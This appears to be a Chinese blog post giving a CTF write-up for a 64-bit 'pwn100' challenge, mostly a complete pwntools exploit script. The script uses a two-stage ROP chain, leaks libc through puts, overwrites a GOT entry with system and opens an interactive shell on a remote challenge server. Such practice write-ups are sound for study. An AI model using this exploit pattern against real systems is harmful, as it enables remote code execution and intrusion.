pwn100

最新推荐文章于 2025-08-17 03:25:58 发布

原创最新推荐文章于 2025-08-17 03:25:58 发布 · 344 阅读

CC 4.0 BY-SA版权

本文介绍了在解决一道64位pwn题目时，利用Return-Oriented Programming（ROP）技术。重点在于64位环境下，由于参数传递方式的不同，需要将函数参数放入寄存器中再进行调用。而在32位或特定环境下，这一过程可能不同。

这是一道64位的题，用rop来最终解决
exp如下：

#coding:utf-8
from pwn import *
from LibcSearcher import *

io=remote('111.198.29.45',5)

readn = 0x40063D
start = 0x40068E
read_got = 0x601028
put_plt = 0x400500
put_got = 0x601018
length = 0x40
max_length = 200
bss = 0x601040

pop_rdi = 0x0000000000400763
pop_rsi_r15 = 0x0000000000400761

def stageone():
    payload = 'A'*length+"AAAAAAAA"+p64(pop_rdi)+p64(read_got) \
	+p64(put_plt)+p64(pop_rdi)+p64(bss) \
	+p64(pop_rsi_r15)+p64(7)+p64(0)+p64(readn)+p64(start)
    payload += "A"*(max_length-len(payload))
    io.send(payload)
    sleep(1)
    io.send("/bin/sh")
    print io.recvuntil("bye~")
    return u64(io.recv()[1:-1].ljust(8,'\0'))

read_addr = stageone()
print "read address: ", hex(read_addr)

libc = LibcSearcher("read",read_addr)
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
sys = p64(system_addr)
print "system address: ",hex(system_addr)

def stagetwo():
    payload = 'A'*length+"AAAAAAAA"+p64(pop_rdi)+p64(put_got) \
	+p64(pop_rsi_r15)+p64(len(sys))+p64(0)+p64(readn)+p64(pop_rdi)+p64(bss) \
	+p64(system_addr)+p64(start)
    payload += "A"*(max_length-len(payload))
    io.send(payload)
    print io.recv()
    io.send(sys)
    

stagetwo()
io.interactive()

梳理一下收获，在用pop|ret然后调用函数时，由于64位6参数一下采用放在寄存器的方法，则参数也需要放在寄存里面再进行调用，如果是32位或者在bss段（bss应该是这样）执行则无需。